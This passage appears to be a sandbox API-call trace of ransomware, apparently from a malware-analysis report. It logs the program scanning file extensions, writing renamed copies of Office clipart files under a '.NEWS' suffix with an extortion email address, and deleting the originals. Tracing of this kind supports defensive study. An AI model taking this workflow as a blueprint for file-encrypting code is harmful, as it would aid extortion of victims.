(lpString=".xls") returned 4 [0074.899] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.899] lstrlenW (lpString=".xlsx") returned 5 [0074.899] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.899] lstrlenW (lpString=".ppt") returned 4 [0074.899] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.899] lstrlenW (lpString=".zip") returned 4 [0074.899] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.899] lstrlenW (lpString=".rar") returned 4 [0074.899] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.899] lstrlenW (lpString=".bz2") returned 4 [0074.899] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.899] lstrlenW (lpString=".7z") returned 3 [0074.899] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.900] lstrlenW (lpString=".dbf") returned 4 [0074.900] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.900] lstrlenW (lpString=".1cd") returned 4 [0074.900] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.900] lstrlenW (lpString=".jpg") returned 4 [0074.900] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.900] lstrlenW (lpString=".doc") returned 4 [0074.900] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.900] lstrlenW (lpString=".docx") returned 5 [0074.900] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.900] lstrlenW (lpString=".pdf") returned 4 [0074.900] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.900] lstrlenW (lpString=".xls") returned 4 [0074.900] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.900] lstrlenW (lpString=".xlsx") returned 5 [0074.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.900] lstrlenW (lpString=".ppt") returned 4 [0074.900] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.900] lstrlenW (lpString=".zip") returned 4 [0074.900] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.901] lstrlenW (lpString=".rar") returned 4 [0074.901] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.901] lstrlenW (lpString=".bz2") returned 4 [0074.901] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.901] lstrlenW (lpString=".7z") returned 3 [0074.901] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.901] lstrlenW (lpString=".dbf") returned 4 [0074.901] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.901] lstrlenW (lpString=".1cd") returned 4 [0074.901] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 68 [0074.901] lstrlenW (lpString=".jpg") returned 4 [0074.901] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.901] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.901] lstrlenW (lpString="AG00172_.GIF") returned 12 [0074.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.902] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4390) returned 1 [0074.902] CloseHandle (hObject=0x380) returned 1 [0074.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0074.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0074.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.902] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.902] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0074.903] GetLastError () returned 0x0 [0074.903] ReadFile (in: hFile=0x380, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1126, lpOverlapped=0x0) returned 1 [0074.905] WriteFile (in: hFile=0x2c4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1130, lpOverlapped=0x0) returned 1 [0074.906] ReadFile (in: hFile=0x380, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0074.906] WriteFile (in: hFile=0x2c4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0074.906] SetEndOfFile (hFile=0x2c4) returned 1 [0074.906] CloseHandle (hObject=0x2c4) returned 1 [0074.908] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0074.908] SetEndOfFile (hFile=0x380) returned 1 [0074.909] CloseHandle (hObject=0x380) returned 1 [0074.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0074.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0074.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.910] lstrlenW (lpString=".doc") returned 4 [0074.910] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.910] lstrlenW (lpString=".docx") returned 5 [0074.910] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.910] lstrlenW (lpString=".pdf") returned 4 [0074.910] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.910] lstrlenW (lpString=".xls") returned 4 [0074.910] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.910] lstrlenW (lpString=".xlsx") returned 5 [0074.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.910] lstrlenW (lpString=".ppt") returned 4 [0074.910] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.910] lstrlenW (lpString=".zip") returned 4 [0074.910] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.910] lstrlenW (lpString=".rar") returned 4 [0074.910] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.910] lstrlenW (lpString=".bz2") returned 4 [0074.910] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.910] lstrlenW (lpString=".7z") returned 3 [0074.910] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.910] lstrlenW (lpString=".dbf") returned 4 [0074.910] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.911] lstrlenW (lpString=".1cd") returned 4 [0074.911] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.911] lstrlenW (lpString=".jpg") returned 4 [0074.911] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.911] lstrlenW (lpString=".doc") returned 4 [0074.911] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0074.911] lstrlenW (lpString=".docx") returned 5 [0074.911] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0074.911] lstrlenW (lpString=".pdf") returned 4 [0074.911] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0074.911] lstrlenW (lpString=".xls") returned 4 [0074.911] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0074.911] lstrlenW (lpString=".xlsx") returned 5 [0074.911] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0074.911] lstrlenW (lpString=".ppt") returned 4 [0074.911] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0074.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.911] lstrlenW (lpString=".zip") returned 4 [0074.911] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0074.911] lstrlenW (lpString=".rar") returned 4 [0074.911] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0074.911] lstrlenW (lpString=".bz2") returned 4 [0074.911] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0074.912] lstrlenW (lpString=".7z") returned 3 [0074.912] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0074.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.912] lstrlenW (lpString=".dbf") returned 4 [0074.912] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0074.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.912] lstrlenW (lpString=".1cd") returned 4 [0074.912] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0074.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0074.912] lstrlenW (lpString=".jpg") returned 4 [0074.912] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0074.912] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0074.912] lstrlenW (lpString="AG00174_.GIF") returned 12 [0074.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0075.548] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3966) returned 1 [0075.548] CloseHandle (hObject=0x330) returned 1 [0075.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0075.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0075.583] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.583] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0075.586] GetLastError () returned 0x0 [0075.586] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xf7e, lpOverlapped=0x0) returned 1 [0075.596] WriteFile (in: hFile=0x2c4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf80, lpOverlapped=0x0) returned 1 [0075.597] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.597] WriteFile (in: hFile=0x2c4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.597] SetEndOfFile (hFile=0x2c4) returned 1 [0075.597] CloseHandle (hObject=0x2c4) returned 1 [0075.598] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.598] SetEndOfFile (hFile=0x308) returned 1 [0075.599] CloseHandle (hObject=0x308) returned 1 [0075.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0075.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.634] lstrlenW (lpString=".doc") returned 4 [0075.634] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0075.634] lstrlenW (lpString=".docx") returned 5 [0075.634] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0075.634] lstrlenW (lpString=".pdf") returned 4 [0075.634] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0075.634] lstrlenW (lpString=".xls") returned 4 [0075.634] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0075.634] lstrlenW (lpString=".xlsx") returned 5 [0075.634] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0075.634] lstrlenW (lpString=".ppt") returned 4 [0075.634] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0075.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.634] lstrlenW (lpString=".zip") returned 4 [0075.634] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0075.634] lstrlenW (lpString=".rar") returned 4 [0075.634] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0075.634] lstrlenW (lpString=".bz2") returned 4 [0075.634] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0075.634] lstrlenW (lpString=".7z") returned 3 [0075.634] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0075.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.634] lstrlenW (lpString=".dbf") returned 4 [0075.634] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0075.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.634] lstrlenW (lpString=".1cd") returned 4 [0075.634] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0075.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.634] lstrlenW (lpString=".jpg") returned 4 [0075.634] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0075.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.635] lstrlenW (lpString=".doc") returned 4 [0075.635] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0075.635] lstrlenW (lpString=".docx") returned 5 [0075.635] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0075.635] lstrlenW (lpString=".pdf") returned 4 [0075.635] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0075.635] lstrlenW (lpString=".xls") returned 4 [0075.635] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0075.635] lstrlenW (lpString=".xlsx") returned 5 [0075.635] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0075.635] lstrlenW (lpString=".ppt") returned 4 [0075.635] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0075.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.635] lstrlenW (lpString=".zip") returned 4 [0075.635] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0075.635] lstrlenW (lpString=".rar") returned 4 [0075.635] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0075.635] lstrlenW (lpString=".bz2") returned 4 [0075.635] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0075.635] lstrlenW (lpString=".7z") returned 3 [0075.635] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0075.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.635] lstrlenW (lpString=".dbf") returned 4 [0075.635] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0075.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.635] lstrlenW (lpString=".1cd") returned 4 [0075.635] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0075.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0075.635] lstrlenW (lpString=".jpg") returned 4 [0075.635] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0075.635] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0075.636] lstrlenW (lpString="AN00853_.WMF") returned 12 [0075.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0075.793] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=20578) returned 1 [0075.793] CloseHandle (hObject=0x358) returned 1 [0075.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220 [0075.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0075.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0075.793] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.793] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0075.964] GetLastError () returned 0x0 [0075.964] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x5062, lpOverlapped=0x0) returned 1 [0075.966] WriteFile (in: hFile=0x380, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x5070, lpOverlapped=0x0) returned 1 [0075.967] ReadFile (in: hFile=0x358, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.967] WriteFile (in: hFile=0x380, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.967] SetEndOfFile (hFile=0x380) returned 1 [0075.967] CloseHandle (hObject=0x380) returned 1 [0075.969] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.969] SetEndOfFile (hFile=0x358) returned 1 [0075.970] CloseHandle (hObject=0x358) returned 1 [0075.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0075.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0075.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 [0075.970] lstrlenW (lpString=".doc") returned 4 [0075.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.970] lstrlenW (lpString=".docx") returned 5 [0075.970] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.970] lstrlenW (lpString=".pdf") returned 4 [0075.970] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.970] lstrlenW (lpString=".xls") returned 4 [0075.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.970] lstrlenW (lpString=".xlsx") returned 5 [0075.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.970] lstrlenW (lpString=".ppt") returned 4 [0075.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68 